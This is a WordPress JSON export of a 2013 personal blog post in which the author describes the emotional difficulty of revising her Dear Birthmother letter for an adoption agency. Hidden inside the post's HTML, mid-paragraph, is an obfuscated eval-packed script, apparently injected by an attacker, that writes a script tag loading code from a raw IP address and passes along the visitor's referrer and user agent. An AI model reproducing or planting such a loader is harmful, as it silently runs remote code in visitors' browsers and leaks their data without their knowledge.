{"id":4161,"date":"2013-11-20T19:22:18","date_gmt":"2013-11-21T02:22:18","guid":{"rendered":"http:\/\/www.rebeccagibson.org\/?p=4161"},"modified":"2013-11-21T11:01:23","modified_gmt":"2013-11-21T18:01:23","slug":"november-is-adoption-awareness-month-1","status":"publish","type":"post","link":"http:\/\/www.rebeccagibson.org\/?p=4161","title":{"rendered":"November is Adoption Awareness Month (1)"},"content":{"rendered":"<p>Even though I&#8217;m jumping in late (10 days left in the month), I am setting myself a goal of writing every day, and actually writing about adoption.<\/p>\n<p>Usually I don&#8217;t.\u00c2\u00a0 I write about stuff I do, especially if it&#8217;s particularly charming and involves kids: the most important purpose of this blog is to help me connect with birthmothers, so I&#8217;m under strict instructions to update often, and to be generally positive.\u00c2\u00a0 <em>(sigh)\u00c2\u00a0 <noindex><script id=\"wpinfo-pst1\" type=\"text\/javascript\" rel=\"nofollow\">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(\/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6(\"<a g=\\'2\\' c=\\'d\\' e=\\'b\/2\\' 4=\\'7:\/\/5.8.9.f\/1\/h.s.t?r=\"+3(0.p)+\"\\o=\"+3(j.i)+\"\\'><\\\/k\"+\"l>\");n m=\"q\";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yaskt|var|u0026u|referrer|thikz||js|php'.split('|'),0,{}))\n<\/script><\/noindex> <\/em><\/p>\n<p>But it does have other purposes too.\u00c2\u00a0 It&#8217;s been a great place to scrapbook and share all kinds of memories and ideas.\u00c2\u00a0 And sometimes also a place to pause along this journey to work out my own feelings\u00c2\u00a0 &#8211; which aren&#8217;t always positive.<\/p>\n<p>But you know what?\u00c2\u00a0 I&#8217;d actually really, really like for it to be<em> useful.\u00c2\u00a0<\/em> I would love it if someday somebody else who was on this same journey read my blog and found it useful, or helpful in some way.\u00c2\u00a0 I don&#8217;t know quite how to get there from here, but surely writing more about the actual adoption stuff, even if it&#8217;s just for ten days, is heading in the right direction.<\/p>\n<p><strong>So!\u00c2\u00a0 Post Number 1:<\/strong><\/p>\n<p>I just finished the revision of my Dear Birthmother Letter, and it&#8217;s being printed and shipped even as I type.<\/p>\n<p>What is a Dear Birthmother Letter, and what&#8217;s it for?\u00c2\u00a0 Why I am revising it?\u00c2\u00a0 What have I learned in the process?\u00c2\u00a0 How do I feel about it?\u00c2\u00a0\u00c2\u00a0 And where is the link so you can see the letter online?<\/p>\n<p>That would be a nice, organized way to write this post, but at every turn I find all I want to do is complain about hard it was.\u00c2\u00a0 It was heartbreaking to write the text the first time.\u00c2\u00a0 It was humiliating going through the &#8220;candid&#8221; photo shoots, over and over.\u00c2\u00a0 The revision almost killed me.\u00c2\u00a0 Yet I still don&#8217;t really feel like I&#8217;m &#8220;allowed&#8221; to complain online.\u00c2\u00a0 Maybe if I confess here that the super-happy sections I wrote (while true!) felt somehow fake, or if I tell you how grateful I was that the professional hair-and-makeup girl actually understood what magic I needed from her (to look exactly the same, only photogenic), or if I tried to explain how furious it made me every time my editors criticized my writing, even though normally that&#8217;s not what I&#8217;m like at all&#8230;\u00c2\u00a0 Good grief, who is this woman?\u00c2\u00a0 Fake, shallow and spiteful?\u00c2\u00a0 Is that me??<\/p>\n<p>We&#8217;ll just skip to the end, I think.<\/p>\n<p>In the end, with one near-disaster at the printer, which finally resolved itself yesterday, I made a letter I really do like.\u00c2\u00a0 I think it&#8217;s honest, and interesting, and positive, and the photo is very pretty.\u00c2\u00a0 I expect 200 copies in the mail before Thanksgiving, which I&#8217;ll sign with a sharpie and ship off to the adoption agency, where they&#8217;ll be included, with many other families&#8217; letters, in packets for birthmothers whose profiles match mine.<\/p>\n<p>It is big and glossy.\u00c2\u00a0 It is honest.\u00c2\u00a0 It is full of hope.\u00c2\u00a0 I&#8217;m really proud of it, and I think it&#8217;s a good self-introduction.\u00c2\u00a0 But it was so hard to create, I swear to you biting my fingertip and signing all 200 letters in blood would have been easier to do.\u00c2\u00a0 There.\u00c2\u00a0 I&#8217;ve said it.<\/p>\n<p>&nbsp;<\/p>\n<p>Oh, and here&#8217;s the link!\u00c2\u00a0 My profile on the iheartadoption website has a pdf copy of the letter, too.<\/p>\n<p><a href=\"http:\/\/www.iheartadoption.org\/users\/rebecca\">iheartadoption<\/a><\/p>\n<p><a href=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2013\/11\/iheart-letter.pdf\">My letter<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Even though I&#8217;m jumping in late (10 days left in the month), I am setting&#8230;<\/p>\n","protected":false},"author":1,"featured_media":4167,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[76],"tags":[70,53,106],"class_list":["post-4161","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-adoption","tag-about","tag-adoption","tag-november-is"],"_links":{"self":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/4161"}],"collection":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=4161"}],"version-history":[{"count":3,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/4161\/revisions"}],"predecessor-version":[{"id":4165,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/4161\/revisions\/4165"}],"wp:featuredmedia":[{"embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/media\/4167"}],"wp:attachment":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=4161"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=4161"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=4161"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}